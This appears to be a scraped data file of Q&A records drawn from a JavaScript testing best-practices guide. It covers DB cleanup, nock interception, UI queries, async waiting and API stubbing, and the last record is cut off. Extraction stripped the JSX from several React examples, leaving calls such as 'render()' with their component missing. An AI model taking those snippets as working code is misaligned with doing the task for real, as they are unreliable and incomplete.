{"id": "gh_e2d9406bbd8a", "question": "How to: :thumbsdown: Anti-Pattern Example: tests are not independent and rely on some global hook to feed global DB data", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔧%20Example%20using%20Mocha-blue.svg \"Examples with Mocha\")\n\n```javascript\nbefore(async () => {\n  //adding sites and admins data to our DB. Where is the data? outside. At some external json or migration framework\n  await DB.AddSeedDataFromJson('seed.json');\n});\nit(\"When updating site name, get successful confirmation\", async () => {\n  //I know that site name \"portal\" exists - I saw it in the seed files\n  const siteToUpdate = await SiteService.getSiteByName(\"Portal\");\n  const updateNameResult = await SiteService.changeName(siteToUpdate, \"newName\");\n  expect(updateNameResult).to.be(true);\n});\nit(\"When querying by site name, get the right site\", async () => {\n  //I know that site name \"portal\" exists - I saw it in the seed files\n  const siteToCheck = await SiteService.getSiteByName(\"Portal\");\n  expect(siteToCheck.name).to.be.equal(\"Portal\"); //Failure! The previous test change the name :[\n});\n\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061109"}
{"id": "gh_a91847bf6602", "question": "How to: :clap: Doing It Right Example: We can stay within the test, each test acts on its own set of data", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```javascript\nit(\"When updating site name, get successful confirmation\", async () => {\n  //test is adding a fresh new records and acting on the records only\n  const siteUnderTest = await SiteService.addSite({\n    name: \"siteForUpdateTest\"\n  });\n  const updateNameResult = await SiteService.changeName(siteUnderTest, \"newName\");\n  expect(updateNameResult).to.be(true);\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061114"}
{"id": "gh_42d838ece578", "question": "How to: ⚪ ️2.8 Choose a clear data clean-up strategy: After-all (recommended) or after-each", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** The timing when the tests clean the database determines the way the tests are being written. The two most viable options are cleaning after all the tests vs cleaning after every single test. Choosing the latter option, cleaning after every single test guarantees clean tables and builds convenient testing perks for the developer. No other records exist when the test starts, one can have certainty which data is being queried and even might be tempted to count rows during assertions. This comes with severe downsides: When running in a multi-process mode, tests are likely to interfere with each other. While process-1 purges tables, at the very moment process-2 queries for data and fail (because the DB was suddenly deleted by process-1). On top of this, It's harder to troubleshoot failing tests - Visiting the DB will show no records.\n\nThe second option is to clean up after all the test files have finished (or even daily!). This approach means that the same DB with existing records serves all the tests and processes. To avoid stepping on each other's toes, the tests must add and act on specific records that they have added. Need to check that some record was added? Assume that there are other thousands of records and query for records that were added explicitly. Need to check that a record was deleted? Can't assume an empty table, check that this specific record is not there. This technique brings few powerful gains: It works natively in multi-process mode, when a developer wishes to understand what happened - the data is there and not deleted. It also increases the chance of finding bugs because the DB is full of records and not artificially empty. [See the full comparison table here](https://github.com/testjavascript/nodejs-integration-tests-best-practices/blob/master/graphics/db-clean-options.png).\n❌ **Otherwise:** Without a strategy to separate records or clean - Tests will step on each other toes; Using transactions will work only for relational DB and likely to get complicated once there are inner transactions\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061124"}
{"id": "gh_fb5c38eb9e06", "question": "How to: :clap: Cleaning after ALL the tests. Not neccesserily after every run. The more data we have while the tests are running - The more it resembles the production perks", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```javascript\n  // After-all clean up (recommended)\n// global-teardown.js\nmodule.exports = async () => {\n  // ...\n  if (Math.ceil(Math.random() * 10) === 10) {\n    await new OrderRepository().cleanup();\n  }\n};\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061130"}
{"id": "gh_9fc83e1e958b", "question": "How to: ⚪ ️2.9 Isolate the component from the world using HTTP interceptor", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Isolate the component under test by intercepting any outgoing HTTP request and providing the desired response so the collaborator HTTP API won't get hit. Nock is a great tool for this mission as it provides a convenient syntax for defining external services behavior. Isolation is a must to prevent noise and slow performance but mostly to simulate various scenarios and responses - A good flight simulator is not about painting clear blue sky rather bringing safe storms and chaos. This is reinforced in a Microservice architecture where the focus should always be on a single component without involving the rest of the world. Though it's possible to simulate external service behavior using test doubles (mocking), it's preferable not to touch the deployed code and act on the network level to keep the tests pure black-box. The downside of isolation is not detecting when the collaborator component changes and not realizing misunderstandings between the two services - Make sure to compensate for this using a few contract or E2E tests\n❌ **Otherwise:** Some services provide a fake version that can be deployed by the caller locally, usually using Docker - This will ease the setup and boost the performance but won't help with simulating various responses; Some services provide 'sandbox' environment, so the real service is hit but no costs or side effects are triggered - This will cut down the noise of setting up the 3rd party service but also won't allow simulating scenarios\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061138"}
{"id": "gh_ed07c1e859b7", "question": "How to: :clap: Preventing network calls to externous components allows simulating scenarios and minimizing the noise", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```javascript\n// Intercept requests for 3rd party APIs and return a predefined response \nbeforeEach(() => {\n  nock('http://localhost/user/').get(`/1`).reply(200, {\n    id: 1,\n    name: 'John',\n  });\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061143"}
{"id": "gh_1875d2a29b45", "question": "How to: ⚪ ️2.10 Test the response schema, mostly when there are auto-generated fields", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** When it is impossible to assert for specific data, check for mandatory field existence and types. Sometimes, the response contains important fields with dynamic data that can't be predicted when writing the test, like dates and incrementing numbers. If the API contract promises that these fields won't be null and hold the right types, it's imperative to test it. Most assertion libraries support checking types. If the response is small, check the return data and type together within the same assertion (see code example). One more option is to verify the entire response against an OpenAPI doc (Swagger). Most test runners have community extensions that validate API responses against their documentation.\n❌ **Otherwise:** Although the code/API caller relies on some field with dynamic data (e.g., ID, date), it will not come in return and break the contract\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061150"}
{"id": "gh_0c4322791328", "question": "How to: :clap: Asserting that fields with dynamic value exist and have the right type", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```javascript\n  test('When adding a new valid order, Then should get back approval with 200 response', async () => {\n  // ...\n  //Assert\n  expect(receivedAPIResponse).toMatchObject({\n    status: 200,\n    data: {\n      id: expect.any(Number), // Any number satisfies this test\n      mode: 'approved',\n    },\n  });\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061156"}
{"id": "gh_7f304af23699", "question": "How to: ⚪ ️2.11 Check integrations corner cases and chaos", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** When checking integrations, go beyond the happy and sad paths. Check not only error responses (e.g. HTTP 500 error) but also network-level anomalies like slow and timed-out responses. This will prove that the code is resilient and can handle various network scenarios like taking the right path after a timeout, has no fragile race conditions, and contains a circuit breaker for retries. Reputable interceptor tools can easily simulate various network behaviors like hectic service that occasionally fail. It can even realize when the default HTTP client timeout value is longer than the simulated response time and throw a timeout exception right away without waiting\n❌ **Otherwise:** All your tests pass, it's only the production who will crash or won't report errors correctly when 3rd parties send exceptional responses\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061163"}
{"id": "gh_5504bb63467f", "question": "How to: :clap: Ensuring that on network failures, the circuit breaker can save the day", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```javascript\n  test('When users service replies with 503 once and retry mechanism is applied, then an order is added successfully', async () => {\n  //Arrange\n  nock.removeInterceptor(userServiceNock.interceptors[0])\n  nock('http://localhost/user/')\n    .get('/1')\n    .reply(503, undefined, { 'Retry-After': 100 });\n  nock('http://localhost/user/')\n    .get('/1')\n    .reply(200);\n  const orderToAdd = {\n    userId: 1,\n    productId: 2,\n    mode: 'approved',\n  };\n\n  //Act\n  const response = await axiosAPIClient.post('/order', orderToAdd);\n\n  //Assert\n  expect(response.status).toBe(200);\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061169"}
{"id": "gh_6bca78819db0", "question": "How to: ⚪ ️2.12 Test the five potential outcomes", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** When planning your tests, consider covering the five typical flow's outputs. When your test is triggering some action (e.g., API call), a reaction is happening, something meaningful occurs and calls for testing. Note that we don't care about how things work. Our focus is on outcomes, things that are noticeable from the outside and might affect the user. These outcomes/reactions can be put in 5 categories:\n\n• Response - The test invokes an action (e.g., via API) and gets a response. It's now concerned with checking the response data correctness, schema, and HTTP status\n\n• A new state - After invoking an action, some **publicly accessible** data is probably modified\n\n• External calls - After invoking an action, the app might call an external component via HTTP or any other transport. For example, a call to send SMS, email or charge a credit card\n\n• Message queues - The outcome of a flow might be a message in a queue\n\n• Observability - Some things must be monitored, like errors or remarkable business events. When a transaction fails, not only we expect the right response but also correct error handling and proper logging/metrics. This information goes directly to a very important user - The ops user (i.e., production SRE/admin)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061177"}
{"id": "gh_239cfabad7fd", "question": "How to: ⚪ ️ 3.1 Separate UI from functionality", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** When focusing on testing component logic, UI details become a noise that should be extracted, so your tests can focus on pure data. Practically, extract the desired data from the markup in an abstract way that is not too coupled to the graphic implementation, assert only on pure data (vs HTML/CSS graphic details) and disable animations that slow down. You might get tempted to avoid rendering and test only the back part of the UI (e.g. services, actions, store) but this will result in fictional tests that don't resemble the reality and won't reveal cases where the right data doesn't even arrive in the UI\n❌ **Otherwise:** The pure calculated data of your test might be ready in 10ms, but then the whole test will last 500ms (100 tests = 1 min) due to some fancy and irrelevant animation\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061185"}
{"id": "gh_0ed56c942316", "question": "How to: :clap: Doing It Right Example: Separating out the UI details", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔧%20Example%20using%20React-blue.svg \"Examples with React\") ![](https://img.shields.io/badge/🔧%20Example%20using%20React%20Testing%20Library-blue.svg \"Examples with react-testing-library\")\n\n```javascript\ntest(\"When users-list is flagged to show only VIP, should display only VIP members\", () => {\n  // Arrange\n  const allUsers = [{ id: 1, name: \"Yoni Goldberg\", vip: false }, { id: 2, name: \"John Doe\", vip: true }];\n\n  // Act\n  const { getAllByTestId } = render(\n);\n\n  // Assert - Extract the data from the UI first\n  const allRenderedUsers = getAllByTestId(\"user\").map(uiElement => uiElement.textContent);\n  const allRealVIPUsers = allUsers.filter(user => user.vip).map(user => user.name);\n  expect(allRenderedUsers).toEqual(allRealVIPUsers); //compare data with data, no UI here\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061192"}
{"id": "gh_6dae881c28cd", "question": "How to: :thumbsdown: Anti-Pattern Example: Assertion mix UI details and data", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```javascript\ntest(\"When flagging to show only VIP, should display only VIP members\", () => {\n  // Arrange\n  const allUsers = [{ id: 1, name: \"Yoni Goldberg\", vip: false }, { id: 2, name: \"John Doe\", vip: true }];\n\n  // Act\n  const { getAllByTestId } = render(\n);\n\n  // Assert - Mix UI & data in assertion\n  expect(getAllByTestId(\"user\")).toEqual('[\nJohn Doe\n]');\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061197"}
{"id": "gh_41392cdd4e32", "question": "How to: ⚪ ️ 3.2 Query HTML elements based on attributes that are unlikely to change", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Query HTML elements based on attributes that are likely to survive graphic changes unlike CSS selectors and like form labels. If the designated element doesn't have such attributes, create a dedicated test attribute like 'test-id-submit-button'. Going this route not only ensures that your functional/logic tests never break because of look & feel changes but also it becomes clear to the entire team that this element and attribute are utilized by tests and shouldn't get removed\n❌ **Otherwise:** You want to test the login functionality that spans many components, logic and services, everything is set up perfectly - stubs, spies, Ajax calls are isolated. All seems perfect. Then the test fails because the designer changed the div CSS class from 'thick-border' to 'thin-border'\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061204"}
{"id": "gh_f31295207877", "question": "How to: :clap: Doing It Right Example: Querying an element using a dedicated attribute for testing", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔧%20Example%20using%20React-blue.svg \"Examples with React\")\n\n```jsx\n// the markup code (part of React component)\n{value}\n```\n\n```javascript\n// this example is using react-testing-library\ntest(\"Whenever no data is passed to metric, show 0 as default\", () => {\n  // Arrange\n  const metricValue = undefined;\n\n  // Act\n  const { getByTestId } = render(\n);\n\n  expect(getByTestId(\"errorsLabel\").text()).toBe(\"0\");\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061212"}
{"id": "gh_7bf5e684ed5e", "question": "How to: :thumbsdown: Anti-Pattern Example: Relying on CSS attributes", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```jsx\n{value}\n```\n\n```javascript\n// this exammple is using enzyme\ntest(\"Whenever no data is passed, error metric shows zero\", () => {\n  // ...\n\n  expect(wrapper.find(\"[className='d-flex-column']\").text()).toBe(\"0\");\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061217"}
{"id": "gh_dfb059d006d2", "question": "How to: ⚪ ️ 3.3 Whenever possible, test with a realistic and fully rendered component", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Whenever reasonably sized, test your component from outside like your users do, fully render the UI, act on it and assert that the rendered UI behaves as expected. Avoid all sort of mocking, partial and shallow rendering - this approach might result in untrapped bugs due to lack of details and harden the maintenance as the tests mess with the internals (see bullet ['Favour blackbox testing'](https://github.com/goldbergyoni/javascript-testing-best-practices#-%EF%B8%8F-14-stick-to-black-box-testing-test-only-public-methods)). If one of the child components is significantly slowing down (e.g. animation) or complicating the setup - consider explicitly replacing it with a fake\n\nWith all that said, a word of caution is in order: this technique works for small/medium components that pack a reasonable size of child components. Fully rendering a component with too many children will make it hard to reason about test failures (root cause analysis) and might get too slow. In such cases, write only a few tests against that fat parent component and more tests against its children\n❌ **Otherwise:** When poking into a component's internal by invoking its private methods, and checking the inner state - you would have to refactor all tests when refactoring the components implementation. Do you really have a capacity for this level of maintenance?\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061225"}
{"id": "gh_57acc7481c2e", "question": "How to: :clap: Doing It Right Example: Working realistically with a fully rendered component", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔧%20Example%20using%20React-blue.svg \"Examples with React\") ![](https://img.shields.io/badge/🔧%20Example%20using%20Enzyme-blue.svg \"Examples with Enzyme\")\n\n```javascript\nclass Calendar extends React.Component {\n  static defaultProps = { showFilters: false };\n\n  render() {\n    return (\nA filters panel with a button to hide/show filters\n);\n  }\n}\n\n//Examples use React & Enzyme\ntest(\"Realistic approach: When clicked to show filters, filters are displayed\", () => {\n  // Arrange\n  const wrapper = mount(\n);\n\n  // Act\n  wrapper.find(\"button\").simulate(\"click\");\n\n  // Assert\n  expect(wrapper.text().includes(\"Choose Filter\"));\n  // This is how the user will approach this element: by text\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061234"}
{"id": "gh_fc978ca327e1", "question": "How to: :thumbsdown: Anti-Pattern Example: Mocking the reality with shallow rendering", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```javascript\ntest(\"Shallow/mocked approach: When clicked to show filters, filters are displayed\", () => {\n  // Arrange\n  const wrapper = shallow(\n);\n\n  // Act\n  wrapper\n    .find(\"filtersPanel\")\n    .instance()\n    .showFilters();\n  // Tap into the internals, bypass the UI and invoke a method. White-box approach\n\n  // Assert\n  expect(wrapper.find(\"Filter\").props()).toEqual({ title: \"Choose Filter\" });\n  // what if we change the prop name or don't pass anything relevant?\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061239"}
{"id": "gh_cb7cd34c84ef", "question": "How to: ⚪ ️ 3.4 Don't sleep, use frameworks built-in support for async events. Also try to speed things up", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** In many cases, the unit under test completion time is just unknown (e.g. animation suspends element appearance) - in that case, avoid sleeping (e.g. setTimeOut) and prefer more deterministic methods that most platforms provide. Some libraries allows awaiting on operations (e.g. [Cypress cy.request('url')](https://docs.cypress.io/guides/references/best-practices.html#Unnecessary-Waiting)), other provide API for waiting like [@testing-library/dom method wait(expect(element))](https://testing-library.com/docs/guide-disappearance). Sometimes a more elegant way is to stub the slow resource, like API for example, and then once the response moment becomes deterministic the component can be explicitly re-rendered. When depending upon some external component that sleeps, it might turn useful to [hurry-up the clock](https://jestjs.io/docs/en/timer-mocks). Sleeping is a pattern to avoid because it forces your test to be slow or risky (when waiting for a too short period). Whenever sleeping and polling is inevitable and there's no support from the testing framework, some npm libraries like [wait-for-expect](https://www.npmjs.com/package/wait-for-expect) can help with a semi-deterministic solution\n❌ **Otherwise:** When sleeping for a long time, tests will be an order of magnitude slower. When trying to sleep for small numbers, test will fail when the unit under test didn't respond in a timely fashion. So it boils down to a trade-off between flakiness and bad performance\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061248"}
{"id": "gh_1b0211b2e939", "question": "How to: :clap: Doing It Right Example: E2E API that resolves only when the async operations is done (Cypress)", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔨%20Example%20using%20Cypress-blue.svg \"Using Cypress to illustrate the idea\")\n![](https://img.shields.io/badge/🔧%20Example%20using%20React%20Testing%20Library-blue.svg \"Examples with react-testing-library\")\n\n```javascript\n// using Cypress\ncy.get(\"#show-products\").click(); // navigate\ncy.wait(\"@products\"); // wait for route to appear\n// this line will get executed only when the route is ready\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061254"}
{"id": "gh_d02cdfcf390e", "question": "How to: :clap: Doing It Right Example: Testing library that waits for DOM elements", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```javascript\n// @testing-library/dom\ntest(\"movie title appears\", async () => {\n  // element is initially not present...\n\n  // wait for appearance\n  await wait(() => {\n    expect(getByText(\"the lion king\")).toBeInTheDocument();\n  });\n\n  // wait for appearance and return the element\n  const movie = await waitForElement(() => getByText(\"the lion king\"));\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061259"}
{"id": "gh_0356be52a9c8", "question": "How to: :thumbsdown: Anti-Pattern Example: custom sleep code", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```javascript\ntest(\"movie title appears\", async () => {\n  // element is initially not present...\n\n  // custom wait logic (caution: simplistic, no timeout)\n  const interval = setInterval(() => {\n    const found = getByText(\"the lion king\");\n    if (found) {\n      clearInterval(interval);\n      expect(getByText(\"the lion king\")).toBeInTheDocument();\n    }\n  }, 100);\n\n  // wait for appearance and return the element\n  const movie = await waitForElement(() => getByText(\"the lion king\"));\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061264"}
{"id": "gh_0eb66887a671", "question": "How to: ⚪ ️ 3.5 Watch how the content is served over the network", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔧%20Example%20using%20Google%20LightHouse-blue.svg \"Examples with Lighthouse\")\n\n✅ **Do:** Apply some active monitor that ensures the page load under real network is optimized - this includes any UX concern like slow page load or un-minified bundle. The inspection tools market is no short: basic tools like [pingdom](https://www.pingdom.com/), AWS CloudWatch, [gcp StackDriver](https://cloud.google.com/monitoring/uptime-checks/) can be easily configured to watch whether the server is alive and response under a reasonable SLA. This only scratches the surface of what might get wrong, hence it's preferable to opt for tools that specialize in frontend (e.g. [lighthouse](https://developers.google.com/web/tools/lighthouse/), [pagespeed](https://developers.google.com/speed/pagespeed/insights/)) and perform richer analysis. The focus should be on symptoms, metrics that directly affect the UX, like page load time, [meaningful paint](https://scotch.io/courses/10-web-performance-audit-tips-for-your-next-billion-users-in-2018/fmp-first-meaningful-paint), [time until the page gets interactive (TTI)](https://calibreapp.com/blog/time-to-interactive/). On top of that, one may also watch for technical causes like ensuring the content is compressed, time to the first byte, optimize images, ensuring reasonable DOM size, SSL and many others. It's advisable to have these rich monitors both during development, as part of the CI and most important - 24x7 over the production's servers/CDN\n❌ **Otherwise:** It must be disappointing to realize that after such great care for crafting a UI, 100% functional tests passing and sophisticated bundling - the UX is horrible and slow due to CDN misconfiguration\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061274"}
{"id": "gh_4ddd74638318", "question": "How to: :clap: Doing It Right Example: Lighthouse page load inspection report", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](/assets/lighthouse2.png \"Lighthouse page load inspection report\")", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061279"}
{"id": "gh_3dd6206e94c4", "question": "How to: ⚪ ️ 3.6 Stub flaky and slow resources like backend APIs", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** When coding your mainstream tests (not E2E tests), avoid involving any resource that is beyond your responsibility and control like backend API and use stubs instead (i.e. test double). Practically, instead of real network calls to APIs, use some test double library (like [Sinon](https://sinonjs.org/), [Test doubles](https://www.npmjs.com/package/testdouble), etc) for stubbing the API response. The main benefit is preventing flakiness - testing or staging APIs by definition are not highly stable and from time to time will fail your tests although YOUR component behaves just fine (production env was not meant for testing and it usually throttles requests). Doing this will allow simulating various API behavior that should drive your component behavior as when no data was found or the case when API throws an error. Last but not least, network calls will greatly slow down the tests\n❌ **Otherwise:** The average test runs no longer than few ms, a typical API call last 100ms>, this makes each test ~20x slower\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061286"}
{"id": "gh_5856c34030e6", "question": "How to: :clap: Doing It Right Example: Stubbing or intercepting API calls", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔧%20Example%20using%20React-blue.svg \"Examples with React\") ![](https://img.shields.io/badge/🔧%20Example%20using%20React%20Testing%20Library-blue.svg \"Examples with react-testing-library\")\n\n```javascript\n// unit under test\nexport default function ProductsList() {\n  const [products, setProducts] = useState(false);\n\n  const fetchProducts = async () => {\n    const products = await axios.get(\"api/products\");\n    setProducts(products);\n  };\n\n  useEffect(() => {\n    fetchProducts();\n  }, []);\n\n  return products ?\n{products}\n:\nNo products\n;\n}\n\n// test\ntest(\"When no products exist, show the appropriate message\", () => {\n  // Arrange\n  nock(\"api\")\n    .get(`/products`)\n    .reply(404);\n\n  // Act\n  const { getByTestId } = render(\n);\n\n  // Assert\n  expect(getByTestId(\"no-products-message\")).toBeTruthy();\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061295"}
{"id": "gh_3373460ccfc1", "question": "How to: ⚪ ️ 3.7 Have very few end-to-end tests that spans the whole system", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Although E2E (end-to-end) usually means UI-only testing with a real browser (See [bullet 3.6](https://github.com/goldbergyoni/javascript-testing-best-practices#-%EF%B8%8F-36-stub-flaky-and-slow-resources-like-backend-apis)), for other they mean tests that stretch the entire system including the real backend. The latter type of tests is highly valuable as they cover integration bugs between frontend and backend that might happen due to a wrong understanding of the exchange schema. They are also an efficient method to discover backend-to-backend integration issues (e.g. Microservice A sends the wrong message to Microservice B) and even to detect deployment failures - there are no backend frameworks for E2E testing that are as friendly and mature as UI frameworks like [Cypress](https://www.cypress.io/) and [Puppeteer](https://github.com/GoogleChrome/puppeteer). The downside of such tests is the high cost of configuring an environment with so many components, and mostly their brittleness - given 50 microservices, even if one fails then the entire E2E just failed. For that reason, we should use this technique sparingly and probably have 1-10 of those and no more. That said, even a small number of E2E tests are likely to catch the type of issues they are targeted for - deployment & integration faults. It's advisable to run those over a production-like staging environment\n❌ **Otherwise:** UI might invest much in 